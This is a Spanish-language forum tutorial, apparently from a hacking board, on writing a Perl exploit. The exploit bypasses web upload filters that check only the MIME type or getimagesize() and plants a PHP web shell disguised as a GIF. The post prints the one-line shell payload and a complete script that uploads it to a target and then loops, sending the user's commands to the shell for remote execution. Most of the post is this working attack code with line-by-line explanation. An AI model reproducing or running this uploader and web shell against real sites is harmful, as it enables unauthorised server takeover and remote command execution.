Codeando un exploit II: Bypass uploaders & RCE

Iniciado por dracko.rx, Febrero 24, 2010, 03:28:59 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Estamos aquí con otro tutorial de como codear un exploit, esta vez vamos a empezar a marcar ciertos patrones que siempre (o en la mayoría de los casos) vamos a usar. Esta vez no vamos a usar una vulnerabilidad pública (siempre intentaré usar vulnerabilidad es públicas por aquello de que podais encontrar "ejemplos prácticos reales").

  Hay por ahí personas que aseguran que el 70% de los uploaders web presentan alguna forma de bypassearlos para subir extensiones que no estén permitidos. A mi humilde parecer estas cifras son demasiado altas, pero bueno... Hoy vamos a aplicar una forma automatizada de subir una shell PHP a un host a través de un uploader que presente un deficiente filtrado basado en mirar el MIME type o use la función getimagesize(). Aqui no vamos a hablar en detalle de cómo funcionan estos filtros, existe por ahí un paper que creo que era de vZack que hablaba más en profundidad de ello, os remito a que googleeis a por él.


   Si ya habeis localizado ese u otro paper que hable del tema podemos continuar.  Como habreis leido, si el script que sube el fichero bloquea los archivos PHP basándose en el MIME type, símplemente mandando una cabecera modificada donde se modifique el type por uno que esté permitido (normalmente un image/gif o image/jpeg);  y en el caso de getimagesize() símplemente con poner al inicio del archivo la cabecera de la extensión (GIF89a, en nuestro caso ya que nuestro exploit va a "camuflarse" como un .gif).


Bien, al igual que la otra ocasión, lo primero es ver cómo implementar la vulnerabilidad en un programa y segundo esquematizar mentalmente las partes de las que constará nuestro exploit. Para la primera cuestión es fácil, para subir el archivo mandamos una cabecera ya modificada que contenga nuestra shell con el identificador de extensión ya incluido, es decir algo así:



Código: php
GIF89a
<?php system($_GET['h']); ?>


Tras la primera parte, podemos deducir de inicio que vamos a necesitar los mismos módulos que la vez anterior (LWP y HTTP::Response::Common). Como variables necesaritaremo s una que indique la URL donde se sitúa el script PHP que actúa como uploader y otra que será la dirección donde se suben los ficheros

Nota: para el segundo se presupone que ya tenemos este conocimiento, lo normal es sacarlo por deducción observando la web o bien a través de un FPD

Despues tendremos que mandar la susodicha cabecera, y posteriormente ejecutaremos comandos directamente (por aquello de no ingresar a la URL por el navegador). El code (que paso a comentar línea a línea lo nuevo) sería algo parecido a esto:



Código: php
#!/usr/bin/perl


use LWP;
use HTTP::Request::Common;

unless ($ARGV[1]) { &usage; }

$url = $ARGV[0];
$upath = $ARGV[1];
$all = $upath.'fos.php?h=';

print q(
+---------------------------------------------------+
| Example of Bypass Upload & RCE                    |
| Codex: The X-C3LL                                 |
| Blog: http://0verl0ad.blogspot.com                |
| Gr3tz: F.O.S. Team && Seth                        |
+---------------------------------------------------+
);

$nav = LWP::UserAgent->new;

print "[+]Connecting with target...\n[+]Uploading shell...\n";
$res = $nav->request (POST $url,
Content_Type => 'form-data',
Content => [
userfile => ["fos.gif", "fos.php", "Content-Type" => "image/gif"],
],
) || die '[-]Error:', $res->status_line;
print "[+]Uploaded!\n[+]Connecting to shell...\n";
$head = $all.'id';
$get = $nav->get( $head ) || die '[-]Error:', $get->status_line;

print "============CONNECT TO SHELL============\n".$get->content;

do {
print "\n\n[--Exploit Shell---] ";
$command = <STDIN>;
$exe = $all.$command;
$eje = $nav->get ( $exe ) || die '[-]Error:', $get->status_line;
print $eje->content;
} until ($command == "salir");
exit;

sub usage {
print 'Usage: perl exploit.pl "URL DEL UPLOAD" "URL DONDE SE SUBEN"';
exit;
}



En estas líneas lo que hacemos es mandar la cabecera al upload con el bypass hecho. Nótese que nuestro fichero es fos.gif.

Código: php
$res = $nav->request (POST $url,
Content_Type => 'form-data',
Content => [
userfile => ["fos.gif", "fos.php", "Content-Type" => "image/gif"],
],
) || die '[-]Error:', $res->status_line;


Lo siguiente es, que si se ha subido el fichero, ingrese por GET ejecutando el comando id y muestra el resultado. El resto es un bucle DO-UNTIL en el cual emulará a una shell normal, en la cual nosotros introduciremos los comandos a ejecutar, dicho comando se pasará por GET al fichero que hemos subido, y nuestro exploit leera lo que vomita la web y te lo mostrará. Para dejar de mandar comandos y salir del exploit escribimos "salir":



Código: php
do {
print "\n\n[--Exploit Shell---] ";
$command = <STDIN>;
$exe = $all.$command;
$eje = $nav->get ( $exe ) || die '[-]Error:', $get->status_line;
print $eje->content;
} until ($command == "salir");
exit;


Hasta aquí todo bien. Ahora tenemos que ver las partes "nuevas" que hemos añadido para complementar un poco al exploit. La primera es hacer una comprobación de si todos los parámetros han sido introducidos, hay varias formas, esta quizás no es la más adecuada pero es sencilla y simple. Lo único que hace es comprobar si se introduce un segundo parámetro:



Código: php
unless ($ARGV[1]) { &usage; }


De tener un "syntax error" nos saltará la subrutina &usage; la cual definimos al final del código y consiste en simplemente mostrar un mensaje de como se usa y cerrar el script:



Código: php
sub usage {
print 'Usage: perl exploit.pl "URL DEL UPLOAD" "URL DONDE SE SUBEN"';
exit;
}


The X-C3LL


Venta de diseños - Contactar por MP

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta